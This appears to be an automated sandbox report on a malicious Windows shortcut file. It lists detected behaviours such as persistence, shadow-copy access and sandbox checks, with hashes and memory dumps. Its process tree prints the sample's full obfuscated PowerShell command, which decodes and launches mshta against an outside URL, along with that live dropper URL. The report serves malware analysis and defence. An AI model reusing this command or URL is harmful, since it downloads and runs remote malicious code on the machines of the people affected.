Overview

overview

10

Static

static

1

File_c482c...ae.lnk

windows10-2004-x64

10

File_c482c...ae.lnk

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    299s
  • max time network
    230s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/06/2026, 16:23

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General

  • Target
    File_c482c886-de89-4a5c-a1be-76de658e19ae.lnk
  • Size 3KB
  • Sample260628-tvwtkaav2q
  • SHA256 c865b6aeb8fc17f884907f9f082d55f4d55dc40bcf7bbf1dd437209231896c8e
  • MD5 SHA1 SHA512 TLSH
Score
10/10
adwareexecutionpersistenceransomwarespyware

Malware Config

Extracted

Language

  • hta

Source
URLs
  • hta.dropper

    https://ayzyr.com/c482c886-de89-4a5c-a1be-76de658e19ae/703e93f5-e895-4ddb-a9a6-7cbd7d9d4207

Signatures

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 42 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\File_c482c886-de89-4a5c-a1be-76de658e19ae.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3856
    • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$asegurar3291483af7884955 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('asegurar')); $asegurar6420b13faf856954 = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('YXNlZ3VyYXItNjM5MC1hNTQxNzEzODY3MTl8U3RhcnQtUHJvY2VzcyBtc2h0YS5leGUgImh0dHBzOi8vYXl6eXIuY29tL2M0ODJjODg2LWRlODktNGE1Yy1hMWJlLTc2ZGU2NThlMTlhZS83MDNlOTNmNS1lODk1LTRkZGItYTlhNi03Y2JkN2Q5ZDQyMDci')); $asegurar4036bcfae46ebb92 = $asegurar6420b13faf856954 -split '\|',2 | Select-Object -Last 1; $asegurar334276bd0aee0fb0 = [ScriptBlock]::Create($asegurar4036bcfae46ebb92); & $asegurar334276bd0aee0fb0"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4816
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://ayzyr.com/c482c886-de89-4a5c-a1be-76de658e19ae/703e93f5-e895-4ddb-a9a6-7cbd7d9d4207
        3⤵
        • Badlisted process makes network request
        PID:5848
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:5536
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:2044
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1528
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4900

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        prep_Activatable Class_Hermes_perf.cache
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1528-33-0x00000247001E0000-0x00000247002E0000-memory.dmp
        Download

        memory/1528-44-0x0000024701BD0000-0x0000024701BF0000-memory.dmp
        Download

        memory/1528-45-0x0000024701DF0000-0x0000024701EF0000-memory.dmp
        Download

        memory/1528-49-0x0000024701CD0000-0x0000024701CF0000-memory.dmp
        Download

        memory/1528-54-0x00000247145F0000-0x0000024714610000-memory.dmp
        Download

        memory/4816-7-0x00007FFF3D590000-0x00007FFF3DF34000-memory.dmp
        Download

        memory/4816-10-0x00007FFF3D590000-0x00007FFF3DF34000-memory.dmp
        Download

        memory/4816-11-0x00007FFF3D590000-0x00007FFF3DF34000-memory.dmp
        Download

        memory/4816-8-0x00007FFF3D590000-0x00007FFF3DF34000-memory.dmp
        Download

        memory/4816-2-0x00007FFF3D71F000-0x00007FFF3D720000-memory.dmp
        Download

        memory/4816-5-0x000001A5D50B0000-0x000001A5D50D2000-memory.dmp
        Download

        memory/4816-6-0x00007FFF3D590000-0x00007FFF3DF34000-memory.dmp
        Download

        memory/4900-218-0x000002738E000000-0x000002738E691000-memory.dmp
        Download